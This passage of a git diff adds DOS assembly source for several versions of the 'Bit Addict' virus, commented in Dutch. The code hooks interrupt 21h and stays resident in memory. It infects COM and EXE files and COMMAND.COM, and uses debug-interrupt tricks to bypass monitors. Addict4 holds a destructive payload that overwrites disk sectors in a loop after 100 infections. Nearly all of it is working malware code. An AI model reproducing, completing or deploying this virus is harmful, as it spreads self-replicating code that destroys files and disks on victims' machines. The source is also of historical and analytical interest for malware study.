cx,14 + rep movsb + ret + +GetBuffer: + push di + lds si,es:[di] + movsw + movsw + add si,0bh + mov cl,4 + shr si,cl + mov ax,ds + add ax,si + pop di + ret + +Jump db 0e9h +NearOffset dw 0 + db 0 +ID db 'Bit Addict' +Command db '\COMMAND.COM',0 + +SavedCode db 0cdh,020h,12 dup (0h) +Check equ SavedCode[4] +Count equ SavedCode[3] + +OldInt21 dd 0 +DataBuffer dw 0 + +NewInt21: + cmp ax,04b41h + jne Ok1 + mov ax,cs + iret +Ok1: cmp ah,4bh + je Infect +EOI: jmp dword ptr cs:OldInt21 + +WriteHeader: + push dx + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + pop dx + jc Return + mov ah,40h + mov cx,14 + int 21h +Return: ret + +Infect: push ax + push bx + push cx + push si + push di + push es + push ds + push dx + mov ax,04300h + int 21h + push cx + test cx,1 + jz Ok2 + mov ax,04301h + and cx,0fffeh + int 21h +Ok2: mov ax,03d02h + int 21h + jnc OpenOk + jmp Error +OpenOk: mov bx,ax + mov ax,05700h + int 21h + push cx + push dx + push cs + pop ds + mov es,DataBuffer + xor si,si + xor di,di + mov cx,offset Size1 + cld + rep movsb + push es + pop ds + mov ah,3fh + mov cx,14 + mov dx,offset SavedCode + int 21h + jc Close2 + cmp ax,14 + jne Close2 + mov si,offset Check + mov di,offset ID + mov cx,10 + cld +Comp: lodsb + xor al,SavedCode[1] + scasb + loope Comp + je Counter + cmp word ptr SavedCode,5a4dh + je Close2 + mov ax,04202h + xor cx,cx + xor dx,dx + int 21h + jc Close2 + or dx,dx + jne Close2 + cmp ax,0fe80h + jae Close2 + sub ax,3 + mov NearOffset,ax + push ax + mov si,offset Relocate + mov cx,Size2 +Rep1: xor [si],al + inc si + loop Rep1 + mov ah,40h + mov cx,offset Size1 + xor dx,dx + int 21h + pop ax + jc Close2 + mov si,offset Jump + mov cx,4 +Rep2: xor [si],al + inc si + loop Rep2 + mov dx,offset Jump + call WriteHeader +Close2: jmp short Close +Counter:inc Count + mov dx,offset SavedCode + call WriteHeader + jc Close +Close: pop dx + pop cx + mov ax,05701h + int 21h + mov ax,03e00h + int 21h +Error: pop cx + pop dx + pop ds + test cx,1 + jz Ok3 + mov ax,04301h + int 21h +Ok3: pop es + pop di + pop si + pop cx + pop bx + pop ax + cmp al,40h + je IntRet + jmp EOI + +IntRet: iret + +Virus: pop si + push si + push si +Rep4: xor [si],al + inc si + loop Rep4 + ret + +Size1 equ $ + +code ends + +end + \ No newline at end of file diff --git a/a/Addict4.asm b/a/Addict4.asm new file mode 100755 index 0000000..1657a38 --- /dev/null +++ b/a/Addict4.asm @@ -0,0 +1,224 @@ +code segment + org 0 + + call Virus + +Displacement equ $ + +SavedCode db 0cdh,020h,11 dup (090h) + +OldInt21 dd 0 +Count db 0 + +Jump db 0e9h +NearOfset dw 0 +ID db 'Bit Addict says: ',13,10 + db '"You have a good taste for hard disks, it was delicious!"' + db '$' + +NewInt21: + cmp ax,0ffffh + jne Ok + cmp dx,ax + jne Ok + mov ax,cs + iret +Ok: cmp ah,4bh + je Exec + jmp EOI + +Exec: cmp cs:Count,100 + jb Infect + + push cs + pop ds + mov ah,9 + lea dx,ID + int 21h + + xor dx,dx + cli +Repeat: push dx + mov ax,2 + xor bx,bx + mov cx,100 + int 26h + pop ax + pop dx + add dx,100 + jmp short Repeat + +Infect: push ax + push bx + push cx + push si + push di + push ds + push es + push dx + mov ax,04300h + int 21h + push cx + mov ax,04301h + xor cx,cx + int 21h + mov ax,03d02h + int 21h + jnc OpenOk + jmp Error +OpenOk: mov bx,ax + mov ax,05700h + int 21h + push cx + push dx + push cs + pop ds + push cs + pop es + mov ah,3fh + mov cx,13 + lea dx,SavedCode + int 21h + jc Close2 + lea si,ID + lea di,SavedCode[3] + mov cx,10 + cld + repe cmpsb + je Counter + cmp word ptr SavedCode,5a4dh + je Close2 + mov ax,04202h + xor cx,cx + xor dx,dx + int 21h + jc Close + or dx,dx + jne Close + sub ax,3 + jb Close + mov NearOfset,ax + mov Count,0 + mov ah,40h + mov cx,CodeSize + xor dx,dx + int 21h + jc Close + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + jc Close + mov ah,40h + mov cx,13 + lea dx,Jump + int 21h +Close2: jmp short Close +Counter:mov dx,word ptr SavedCode[1] + add dx,offset Count+3 + xor cx,cx + mov ax,4200h + int 21h + jc Close + push ax + push dx + mov ah,3fh + mov cx,1 + lea dx,Count + int 21h + pop cx + pop dx + jc Close + inc Count + mov ax,4200h + int 21h + jc Close + mov ah,40h + mov cx,1 + lea dx,Count + int 21h +Close: pop dx + pop cx + mov ax,05701h + int 21h + mov ax,03e00h + int 21h +Error: pop cx + pop dx + pop es + pop ds + mov ax,04301h + int 21h + pop di + pop si + pop cx + pop bx + pop ax +EOI: jmp cs:OldInt21 + +Virus: mov ax,0ffffh + mov dx,ax + int 21h + pop bx + sub bx,Displacement + mov ds,ax + xor si,si + mov di,bx + mov cx,CodeSize + rep cmpsb + je Exit + push bx + mov ah,52h + int 21h + push es + push bx + mov ah,30h + int 21h + pop si + pop ds + pop bx + cmp al,2 + jb Exit + cmp al,3 + adc si,12h + les di,[si] + push es + push di + les di,es:[di] + mov [si],di + mov [si+2],es + pop ax + pop dx + add ax,0fh + mov cl,4 + shr ax,cl + add ax,dx + mov es,ax + push cs + pop ds + mov si,bx + xor di,di + mov cx,CodeSize + cld + rep movsb + xor ax,ax + mov ds,ax + mov ax,[84h] + mov es:word ptr OldInt21[0],ax + mov ax,[86h] + mov es:word ptr OldInt21[2],ax + mov word ptr [84h],NewInt21 + mov word ptr [86h],es +Exit: push cs + pop es + push cs + pop ds + lea si,SavedCode[bx] + mov di,0100h + push di + mov cx,13 + rep movsb + ret + +CodeSize equ $ + \ No newline at end of file diff --git a/a/Addict5.asm b/a/Addict5.asm new file mode 100755 index 0000000..377f799 --- /dev/null +++ b/a/Addict5.asm @@ -0,0 +1,530 @@ +; BIT ADDICT Versie 2.00 +; +; Dit virus besmet exe en com-files, en als het opgestart wordt dan reserveert +; hij 2 diskbuffers en copieert het virus daarheen om resident te blijven. +; Als het virus resident is dan gaat hij in de environment naar de comspec +; zoeken en besment dan de command interpreter (meestal COMMAND.COM). +; Om dit virus te assambleren moet je met TASM, of MASM een OBJ-file maken en +; dan linken naar een exe-file. Wees voorzichtig en veel plezier met dit virus. + +; p.s. wil je dit virus nog aan NIEMAND geven zonder mijn toestemming, omdat +; het virus nog niet helemaal af is, en waarschijnlijk ook niet helemaal zonder +; fouten. + +;----------------------------------------------------------------------------- +;----- ----- +;----- Macros en andere hulpmiddellen ----- +;----- ----- +;----------------------------------------------------------------------------- + +; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter +; wordt dan 128 bytes en er dus een foutmelding komt + +jmpc macro Dest ; vervanging voor jc + local @@00 + + jnc @@00 + jmp Dest +@@00: + endm + +jmpnc macro Dest ; vervanging voor jnc + local @@00 + + jc @@00 + jmp Dest +@@00: + endm + +jmpe macro Dest ; vervanging voor je + local @@00 + + jnz @@00 + jmp Dest +@@00: + endm + +jmpne macro Dest ; vervanging voor jne + local @@00 + + jz @@00 + jmp Dest +@@00: + endm + +eseg segment + mov ax,4c00h ; exit + int 21h +eseg ends + +;----------------------------------------------------------------------------- +;----- ----- +;----- Begin van het Bit Addict virus ----- +;----- ----- +;----------------------------------------------------------------------------- + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + org 0 + +BeginCode equ $ +SavedCode equ this byte ; gegevens over het +OldSignature dw 5a4dh ; programma voor het virus +OldCSIP equ this dword +OldIP dw 0 +OldCS dw 0 +OldSP dw 200h +OldSS dw 0 + dw 3 dup(0) + +Comspec db 'COMSPEC=' ; comspec environment variabele + ; om de command.com te vinden +ID db 'BIT ADDICT 2.00' ; identificatie string +ID_Length equ $-offset ID + +Begin: push ax ; Programma om het virus + push bx ; in het geheugen te zetten + push cx + push dx + push si + push di + push ds + push es + push cs + pop ds + cmp OldSignature,5a4dh + je @@10 + mov si,offset SavedCode ; herstel begin van het + mov di,100h ; com-programma + mov cx,10h + cld + rep movsb + mov OldSS,ss ; bewaar de waarden van + mov OldSP,sp ; ss,sp,cs en ip + sub OldSP,10h + mov OldCS,es + mov OldIP,100h + jmp @@11 +@@10: mov ax,es ; bereken de waarden van + add ax,10h ; ss,sp,cs en ip + add OldCS,ax + add OldSS,ax +@@11: mov ax,4b40h ; controleer of Bit Addict al + int 21h ; in het geheugen aanwezig is + jc @@12 + mov ds,ax + push cs ; vergelijk identificatie + pop ds + mov si,offset ID + mov di,si + mov cx,ID_Length + cld + repe cmpsb + jmpne @@13 +@@12: mov ah,52h ; lees het adres van de eerste + int 21h ; disk-buffer + push bx + mov ah,30h + int 21h + pop di + cmp al,2 ; dit werkt niet op dos 1.x + jmpc @@13 + cmp al,3 ; voor dos 2.x op 13h en voor + adc di,12h ; dos 3+ op 12h + lds si,es:[di] + or si,si + jne @@13 + push di + movsw ; reserveer 1e buffer + movsw + pop di + mov cx,ds + mov dx,ds + call GetBuffer ; reserveer 2e buffer + jc @@13 + call CopyBitAddict ; Copieer bit addict naar + pop es ; de buffers + push es ; Infecteer bestand in de + call InfectComspec ; comspec + jmp @@14 +@@13: call RestoreBuffers +@@14: pop es ; ga nu verder met het + pop ds ; programma voor Bit Addict + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cli + mov ss,cs:OldSS + mov sp,cs:OldSP + sti + jmp cs:OldCSIP + +GetBuffer: ; reserveer een buffer + push di ; cx = eerste buffer + push es ; dx = laatste buffer + jmp @@21 +@@20: push ds + pop es + mov di,si +@@21: lds si,es:[di] + or si,si + jne @@23 + mov ax,ds + sub ax,dx + cmp ax,21h + jne @@22 + mov dx,ds + movsw + movsw + clc + jmp @@24 +@@22: mov ax,ds + sub ax,cx + neg ax + cmp ax,21h + jne @@20 + mov cx,ds + movsw + movsw + clc + jmp @@24 +@@23: stc +@@24: pop es + pop di + ret + +CopyBitAddict: + push cs ; copieer Bit Addict naar de + pop ds ; gereserveerde buffers + mov es,cx + xor si,si + xor di,di + mov cx,CodeSize1 + cld + rep movsb + mov ds,ax ; leid interrupt 21h om naar + mov ax,ds:[84h] ; Bit Addict + mov word ptr es:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr es:OldInt21[2],ax + mov word ptr ds:[84h],offset NewInt21 + mov word ptr ds:[86h],es + ret + +InfectComspec: + mov es,es:[2ch] ; lees environment segment + xor di,di + push cs ; zoek naar de comspec + pop ds ; variabele + mov si,offset Comspec +@@30: push si + push di + mov cx,8 + cld + repe cmpsb + pop di + pop si + je @@31 + xor al,al + mov cx,-1 + cld + repne scasb + cmp byte ptr es:[di],0 + jne @@30 + jmp @@32 +@@31: push es ; infecteer de COMMAND.COM of + pop ds ; andere command interpreter + lea dx,[di+8] + push cs:OldIP + push cs:OldCS + push cs:OldSP + push cs:OldSS + call Infect + pop cs:OldSS + pop cs:OldSP + pop cs:OldCS + pop cs:OldIP +@@32: ret + +RestoreBuffers: + mov ax,cx +@@40: cmp ax,dx + je @@42 + mov ds,ax + add ax,21h + mov word ptr ds:[0],0 + mov word ptr ds:[2],ax + jmp @@40 +@@42: mov ds,dx + mov ax,es:[di] + mov ds:[0],ax + mov word ptr es:[di],0 + mov ax,es:[di+2] + mov ds:[2],ax + mov es:[di+2],cx + ret + +NewInt21: ; Het nieuwe interrupt 21h + pushf + cmp ax,4b40h + je InstallCheck + cmp ah,4bh + je Exec +EOI: popf + jmp cs:OldInt21 + +InstallCheck: ; Zo kan bit addict weten + mov ax,cs ; dat er al een andere copy + popf ; aanwezig is + clc + retf 2 + +ComHeader: ; dit stukje wordt voor een + mov ax,cs ; COM-file geplaatst + add ax,0100h +OldSize equ this word-2 + push ax + mov ax,offset Begin + push ax + retf + +Exec: call Infect ; functie 4bh, infecteer eerste + jmp EOI ; met Bit Addict + +Infect: push ax ; Infecteer een file + push bx + push cx + push si + push di + push bp + push es + mov ax,4300h ; lees attributen en bewaar + int 21h ; ze + jmpc @@62 + push cx + push dx + push ds + test cx,1 + jz @@51 + mov ax,4301h ; set Read-Only attribuut + and cx,0fffeh ; op nul + int 21h + jmpc @@61 +@@51: mov ax,3d02h ; open de file + int 21h + jmpc @@61 + mov bx,ax + mov ax,5700h ; lees de datum en tijd en + int 21h ; bewaar ze + jmpc @@60 + push cx + push dx + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ah,3fh ; lees de header van de file + mov cx,HeaderLength + lea dx,Header + int 21h + jmpc @@59 + cmp ax,HeaderLength + jne @@54 + cmp Signature,5a4dh + jne @@52 + mov ax,ExeCS ; zoek de plaats waar de + add ax,HeaderSize ; identificatie zou moeten + mov dx,10h ; staan voor exe-files + mul dx + add ax,offset ID + adc dx,0 + jmp @@53 +@@52: mov ax,ComCS ; doe hetzelfde maar dan voor + mov dx,10h ; een com-file + sub ax,dx + mul dx + add ax,offset ID + adc dx,0 +@@53: mov cx,dx + mov dx,ax + mov ax,4200h + int 21h + mov ah,3fh ; lees de ID indien aanwezig + mov cx,ID_Length + lea dx,ID_Check + int 21h + lea si,ID_Check ; controleer of ID aanwezig + lea di,ID ; is + mov cx,ID_Length + cld + repe cmpsb + jmpe @@59 ; als ID aanwezig is, stop dan + cmp Signature,5a4dh + je @@56 +@@54: mov ax,4202h ; infecteer com-files + xor cx,cx ; ga naar het einde van de file + xor dx,dx + int 21h + mov cx,10h ; aanpassen van de com-header + div cx ; aan deze com-file + or dx,dx + je @@55 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + int 21h + pop ax + jmpc @@59 + inc ax +@@55: add ax,10h + mov OldSize,ax + mov si,offset Header ; bewaar het eerste deel van + mov di,offset SavedCode ; het programma + mov cx,10h + cld + rep movsb + mov ah,40h ; schrijf het virus achter het + mov cx,CodeSize1 ; programma + xor dx,dx + int 21h + jmpc @@59 + mov ax,4200h ; ga naar het begin van de file + xor cx,cx + xor dx,dx + int 21h + jmpc @@59 + mov ah,40h ; overschrijf het begin van het + mov cx,10h ; programma met de com-header + mov dx,offset ComHeader + int 21h + jmp @@59 +@@56: mov OldSignature,5a4dh ; infecteer exe-files + mov ax,ExeIP ; bewaar de oude waarden van + mov OldIP,ax ; cs:ip en ss:sp + mov ax,ExeCS + mov OldCS,ax + mov ax,ExeSP + mov OldSP,ax + mov ax,ExeSS + mov OldSS,ax + mov ax,PageCount ; pas de waarden van cs:ip en + dec ax ; ss:sp aan, en pas ook de + mov cx,200h ; lengte van de file aan + mul cx + add ax,PartPage + adc dx,0 + mov cx,dx + mov dx,ax + mov ax,4200h + int 21h + mov cx,10h + div cx + or dx,dx + je @@57 + push ax + push dx + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + int 21h + pop dx + pop ax + jc @@59 + inc ax +@@57: sub ax,HeaderSize + mov ExeCS,ax + mov ExeIP,offset Begin + add ax,CodeSizePara2 + mov ExeSS,ax + mov ExeSP,200h + mov ax,MinMem + cmp ax,20h+CodeSizePara2-CodeSizePara1 + jae @@58 + mov ax,20h +@@58: mov MinMem,ax + mov ax,PartPage + add ax,CodeSize1 + add ax,dx + mov cx,200h + xor dx,dx + div cx + add PageCount,ax + mov PartPage,dx + mov ah,40h ; schrijf het virus achter + mov cx,CodeSize1 ; de exe-file, indien de + xor dx,dx ; exe-file overlays bevat dan + int 21h ; worden ze overschreven en is + jc @@59 ; de exe-file onherstelbaar + mov ax,4200h ; beschadigd + xor cx,cx + xor dx,dx ; ga naar het begin van de file + int 21h + jc @@59 + mov ah,40h ; schrijf de nieuwe exe-header + mov cx,HeaderLength ; over de oude heen. + mov dx,offset Header + int 21h +@@59: pop dx ; herstel de datum van de file + pop cx + mov ax,5701h + int 21h +@@60: mov ah,3eh ; sluit de file + int 21h +@@61: pop ds ; herstel de attributen van de + pop dx ; file + pop cx + test cx,1 + jz @@62 + mov ax,4301h + int 21h +@@62: pop es ; herstel de waarden van de + pop bp ; registers en keer terug + pop di ; naar het oude interrupt 21 + pop si + pop cx + pop bx + pop ax + ret + +CodeSize1 equ $-BeginCode +CodeSizePara1 equ ($-BeginCode+0fh) / 10h + +Header dw 14h dup(?) +ComCS equ Header[ComHeader-OldSize] ; Com file + +Signature equ Header[0h] ; Exe file +PartPage equ Header[2h] +PageCount equ Header[4h] +ReloCount equ Header[6h] +HeaderSize equ Header[8h] +MinMem equ Header[0ah] +MaxMem equ Header[0ch] +ExeSS equ Header[0eh] +ExeSP equ Header[10h] +ChkSum equ Header[12h] +ExeIP equ Header[14h] +ExeCS equ Header[16h] +TablOfs equ Header[18h] +OverlayNr equ Header[1ah] +HeaderLength equ 1ch + +ID_Check db ID_Length dup(?) + +OldInt21 dd ? + +CodeSize2 equ $-BeginCode +CodeSizePara2 equ ($-BeginCode+0fh) / 10h + +cseg ends + +sseg segment stack + db 200h dup(?) +sseg ends + +end Begin \ No newline at end of file diff --git a/a/Addict6.asm b/a/Addict6.asm new file mode 100755 index 0000000..0535d7e --- /dev/null +++ b/a/Addict6.asm @@ -0,0 +1,612 @@ +; BIT ADDICT Versie 2.10 + +;----------------------------------------------------------------------------- +;----- ----- +;----- Macros en andere hulpmiddellen ----- +;----- ----- +;----------------------------------------------------------------------------- + +; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter +; wordt dan 128 bytes en er dus een foutmelding komt + +jmpc macro Dest ; vervanging voor jc + local @@00 + + jnc @@00 + jmp Dest +@@00: + endm + +jmpnc macro Dest ; vervanging voor jnc + local @@00 + + jc @@00 + jmp Dest +@@00: + endm + +jmpe macro Dest ; vervanging voor je + local @@00 + + jnz @@00 + jmp Dest +@@00: + endm + +jmpne macro Dest ; vervanging voor jne + local @@00 + + jz @@00 + jmp Dest +@@00: + endm + +eseg segment + mov ax,4c00h ; exit + int 21h +eseg ends + +;----------------------------------------------------------------------------- +;----- ----- +;----- Begin van het Bit Addict virus ----- +;----- ----- +;----------------------------------------------------------------------------- + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + org 0 + +BeginCode equ $ +SavedCode equ this byte ; gegevens over het +OldSignature dw 5a4dh ; programma voor het virus +OldCSIP equ this dword +OldIP dw 0 +OldCS dw 0 +OldSP dw 200h +OldSS dw 0 + dw 3 dup(0) + +Comspec db 'COMSPEC=' ; comspec environment variabele + ; om de command.com te vinden +ID db 'BIT ADDICT 2.10' ; identificatie string +ID_Length equ $-offset ID + +Begin: push ax ; Programma om het virus + push bx ; in het geheugen te zetten + push cx + push dx + push si + push di + push ds + push es + call Init + jnc @@11 + call DebugOn + mov ah,52h ; lees het adres van de eerste + call DOS ; disk-buffer + push bx + mov ah,30h + call DOS + pop di + call DebugOff + cmp al,2 ; dit werkt niet op dos 1.x + jb @@11 + cmp al,3 ; voor dos 2.x op di+13h en + adc di,12h ; voor dos 3+ op di+12h + lds si,es:[di] + or si,si + jne @@11 + push di + movsw ; reserveer 1e buffer + movsw + pop di + mov cx,ds + mov dx,ds + call GetBuffer ; reserveer 2e buffer + jc @@10 + call GetBuffer ; reserveer 3e buffer + jc @@10 + call CopyBitAddict ; Copieer bit addict naar + pop es ; de buffers + push es ; Infecteer bestand in de + call InfectComspec ; comspec + jmp @@11 +@@10: call RestoreBuffers +@@11: pop es ; ga nu verder met het + pop ds ; programma voor Bit Addict + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cli + mov ss,cs:OldSS + mov sp,cs:OldSP + sti + jmp cs:OldCSIP + +GetBuffer: ; reserveer een buffer + push di ; cx = eerste buffer + push es ; dx = laatste buffer + jmp @@21 +@@20: push ds + pop es + mov di,si +@@21: lds si,es:[di] + or si,si + jne @@23 + mov ax,ds + sub ax,dx + cmp ax,21h + jne @@22 + mov dx,ds + movsw + movsw + clc + jmp @@24 +@@22: mov ax,ds + sub ax,cx + neg ax + cmp ax,21h + jne @@20 + mov cx,ds + movsw + movsw + clc + jmp @@24 +@@23: stc +@@24: pop es + pop di + ret + +CopyBitAddict: + push cs ; copieer Bit Addict naar de + pop ds ; gereserveerde buffers + mov es,cx + xor si,si + xor di,di + mov cx,CodeSize2 + cld + rep movsb + xor ax,ax ; leid interrupt 21h om naar + mov ds,ax ; Bit Addict + mov word ptr ds:[84h],offset NewInt21 + mov word ptr ds:[86h],es + ret + +InfectComspec: + mov es,es:[2ch] ; lees environment segment + xor di,di + push cs ; zoek naar de comspec + pop ds ; variabele + mov si,offset Comspec +@@30: push si + push di + mov cx,8 + cld + repe cmpsb + pop di + pop si + je @@31 + xor al,al + mov cx,-1 + cld + repne scasb + cmp byte ptr es:[di],0 + jne @@30 + jmp @@32 +@@31: push es ; infecteer de COMMAND.COM of + pop ds ; andere command interpreter + lea dx,[di+8] + push cs:OldIP + push cs:OldCS + push cs:OldSP + push cs:OldSS + call Infect + pop cs:OldSS + pop cs:OldSP + pop cs:OldCS + pop cs:OldIP +@@32: ret + +RestoreBuffers: + mov ax,cx +@@40: cmp ax,dx + je @@42 + mov ds,ax + add ax,21h + mov word ptr ds:[0],0 + mov word ptr ds:[2],ax + jmp @@40 +@@42: mov ds,dx + mov ax,es:[di] + mov ds:[0],ax + mov word ptr es:[di],0 + mov ax,es:[di+2] + mov ds:[2],ax + mov es:[di+2],cx + ret + +DebugOn:push ax + push ds + xor ax,ax + mov ds,ax + cli + mov ax,ds:[4h] + mov word ptr cs:OldInt1[0],ax + mov ax,ds:[6h] + mov word ptr cs:OldInt1[2],ax + mov word ptr ds:[4],offset NewInt1 + mov word ptr ds:[6],cs + mov ax,ds:[84h] + mov word ptr cs:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr cs:OldInt21[2],ax + mov word ptr cs:DosInt21[0],0 + mov word ptr cs:DosInt21[2],0 + sti + pop ds + pop ax + pushf + push cs + call SetTrap + ret + +SetTrap:push bp + mov bp,sp + or word ptr ss:[bp+6],100h + pop bp + iret + +DebugOff: + pushf + push cs + call ClearTrap + push ax + push ds + xor ax,ax + mov ds,ax + cli + mov ax,word ptr cs:OldInt1[0] + mov ds:[4],ax + mov ax,word ptr cs:OldInt1[2] + mov ds:[6],ax + sti + pop ds + pop ax + ret + +ClearTrap: + push bp + mov bp,sp + and word ptr ss:[bp+6],0feffh + pop bp + iret + +Init: push cs + pop ds + cmp OldSignature,5a4dh + je @@50 + mov si,offset SavedCode ; herstel begin van het + mov di,100h ; com-programma + mov cx,10h + cld + rep movsb + mov OldSS,ss ; bewaar de waarden van + mov OldSP,sp ; ss,sp,cs en ip + sub OldSP,10h + mov OldCS,es + mov OldIP,100h + jmp @@51 +@@50: mov ax,es ; bereken de waarden van + add ax,10h ; ss,sp,cs en ip + add OldCS,ax + add OldSS,ax +@@51: mov ax,4b40h ; controleer of Bit Addict al + int 21h ; in het geheugen aanwezig is + jc @@52 + mov ds,ax + push cs ; vergelijk identificatie + pop ds + mov si,offset ID + mov di,si + mov cx,ID_Length + cld + repe cmpsb + je @@52 + stc +@@52: ret + +NewInt1:push bp + mov bp,sp + push ax + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + jnz @@60 + cmp word ptr ss:[bp+4],300h + jae @@61 + mov ax,ss:[bp+2] + mov word ptr cs:DosInt21[0],ax + mov ax,ss:[bp+4] + mov word ptr cs:DosInt21[2],ax +@@60: and word ptr ss:[bp+6],0feffh +@@61: pop ax + pop bp + iret + +DOS: push ax + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + pop ax + jnz @@62 + pushf + call cs:OldInt21 + ret +@@62: pushf + call cs:DosInt21 + ret + +NewInt21: ; Het nieuwe interrupt 21h + pushf + cmp ax,4b40h + je InstallCheck + cmp ah,4bh + je Exec +EOI: popf + jmp cs:OldInt21 + +InstallCheck: ; Zo kan bit addict weten + mov ax,cs ; dat er al een andere copy + popf ; aanwezig is + clc + retf 2 + +ComHeader: ; dit stukje wordt voor een + mov ax,cs ; COM-file geplaatst + add ax,0100h +OldSize equ this word-2 + push ax + mov ax,offset Begin + push ax + retf + +Exec: call Infect ; functie 4bh, infecteer eerste + jmp EOI ; met Bit Addict + +Infect: push ax ; Infecteer een file + push bx + push cx + push si + push di + push bp + push es + mov ax,4300h ; lees attributen en bewaar + call DOS ; ze + jmpc @@82 + push cx + push dx + push ds + test cx,1 + jz @@71 + mov ax,4301h ; set Read-Only attribuut + and cx,0fffeh ; op nul + call DOS + jmpc @@81 +@@71: mov ax,3d02h ; open de file + call DOS + jmpc @@81 + mov bx,ax + mov ax,5700h ; lees de datum en tijd en + call DOS ; bewaar ze + jmpc @@80 + push cx + push dx + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ah,3fh ; lees de header van de file + mov cx,HeaderLength + lea dx,Header + call DOS + jmpc @@79 + cmp ax,HeaderLength + jne @@74 + cmp Signature,5a4dh + jne @@72 + mov ax,ExeCS ; zoek de plaats waar de + add ax,HeaderSize ; identificatie zou moeten + mov dx,10h ; staan voor exe-files + mul dx + add ax,offset ID + adc dx,0 + jmp @@73 +@@72: mov ax,ComCS ; doe hetzelfde maar dan voor + mov dx,10h ; een com-file + sub ax,dx + mul dx + add ax,offset ID + adc dx,0 +@@73: mov cx,dx + mov dx,ax + mov ax,4200h + call DOS + mov ah,3fh ; lees de ID indien aanwezig + mov cx,ID_Length + lea dx,ID_Check + call DOS + lea si,ID_Check ; controleer of ID aanwezig + lea di,ID ; is + mov cx,ID_Length + cld + repe cmpsb + jmpe @@79 ; als ID aanwezig is, stop dan + cmp Signature,5a4dh + je @@76 +@@74: mov ax,4202h ; infecteer com-files + xor cx,cx ; ga naar het einde van de file + xor dx,dx + call DOS + mov cx,10h ; aanpassen van de com-header + div cx ; aan deze com-file + or dx,dx + je @@75 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop ax + jmpc @@79 + inc ax +@@75: add ax,10h + mov OldSize,ax + mov si,offset Header ; bewaar het eerste deel van + mov di,offset SavedCode ; het programma + mov cx,10h + cld + rep movsb + mov ah,40h ; schrijf het virus achter het + mov cx,CodeSize1 ; programma + xor dx,dx + call DOS + jmpc @@79 + mov ax,4200h ; ga naar het begin van de file + xor cx,cx + xor dx,dx + call DOS + jmpc @@79 + mov ah,40h ; overschrijf het begin van het + mov cx,10h ; programma met de com-header + mov dx,offset ComHeader + call DOS + jmp @@79 +@@76: mov OldSignature,5a4dh ; infecteer exe-files + mov ax,ExeIP ; bewaar de oude waarden van + mov OldIP,ax ; cs:ip en ss:sp + mov ax,ExeCS + mov OldCS,ax + mov ax,ExeSP + mov OldSP,ax + mov ax,ExeSS + mov OldSS,ax + mov ax,PageCount ; pas de waarden van cs:ip en + dec ax ; ss:sp aan, en pas ook de + mov cx,200h ; lengte van de file aan + mul cx + add ax,PartPage + adc dx,0 + mov cx,dx + mov dx,ax + mov ax,4200h + call DOS + mov cx,10h + div cx + or dx,dx + je @@77 + push ax + push dx + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop dx + pop ax + jc @@79 + inc ax +@@77: sub ax,HeaderSize + mov ExeCS,ax + mov ExeIP,offset Begin + add ax,CodeSizePara2 + mov ExeSS,ax + mov ExeSP,200h + mov ax,MinMem + cmp ax,20h+CodeSizePara2-CodeSizePara1 + jae @@78 + mov ax,20h +@@78: mov MinMem,ax + mov ax,PartPage + add ax,CodeSize1 + add ax,dx + mov cx,200h + xor dx,dx + div cx + add PageCount,ax + mov PartPage,dx + mov ah,40h ; schrijf het virus achter + mov cx,CodeSize1 ; de exe-file, indien de + xor dx,dx ; exe-file overlays bevat dan + call DOS ; worden ze overschreven en is + jc @@79 ; de exe-file onherstelbaar + mov ax,4200h ; beschadigd + xor cx,cx + xor dx,dx ; ga naar het begin van de file + call DOS + jc @@79 + mov ah,40h ; schrijf de nieuwe exe-header + mov cx,HeaderLength ; over de oude heen. + mov dx,offset Header + call DOS +@@79: pop dx ; herstel de datum van de file + pop cx + mov ax,5701h + call DOS +@@80: mov ah,3eh ; sluit de file + call DOS +@@81: pop ds ; herstel de attributen van de + pop dx ; file + pop cx + test cx,1 + jz @@82 + mov ax,4301h + call DOS +@@82: pop es ; herstel de waarden van de + pop bp ; registers en keer terug + pop di ; naar het oude interrupt 21 + pop si + pop cx + pop bx + pop ax + ret + +CodeSize1 equ $-BeginCode +CodeSizePara1 equ ($-BeginCode+0fh) / 10h + +Header dw 14h dup(?) +ComCS equ Header[ComHeader-OldSize] ; Com file + +Signature equ Header[0h] ; Exe file +PartPage equ Header[2h] +PageCount equ Header[4h] +ReloCount equ Header[6h] +HeaderSize equ Header[8h] +MinMem equ Header[0ah] +MaxMem equ Header[0ch] +ExeSS equ Header[0eh] +ExeSP equ Header[10h] +ChkSum equ Header[12h] +ExeIP equ Header[14h] +ExeCS equ Header[16h] +TablOfs equ Header[18h] +OverlayNr equ Header[1ah] +HeaderLength equ 1ch + +ID_Check db ID_Length dup(?) + +DosInt21 dd ? +OldInt21 dd ? +OldInt1 dd ? + +CodeSize2 equ $-BeginCode +CodeSizePara2 equ ($-BeginCode+0fh) / 10h + +cseg ends + +sseg segment stack + db 200h dup(?) +sseg ends + +end Begin \ No newline at end of file diff --git a/a/Addict7.asm b/a/Addict7.asm new file mode 100755 index 0000000..8c8e556 --- /dev/null +++ b/a/Addict7.asm @@ -0,0 +1,813 @@ +; Bit Addict Versie 3 + +;----------------------------------------------------------------------------- +;----- ----- +;----- Macros en andere hulpmiddellen ----- +;----- ----- +;----------------------------------------------------------------------------- + +; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter +; wordt dan 128 bytes en er dus een foutmelding komt + +jmpc macro Dest ; vervanging voor jc + local @@00 + + jnc @@00 + jmp Dest +@@00: + endm + +jmpnc macro Dest ; vervanging voor jnc + local @@00 + + jc @@00 + jmp Dest +@@00: + endm + 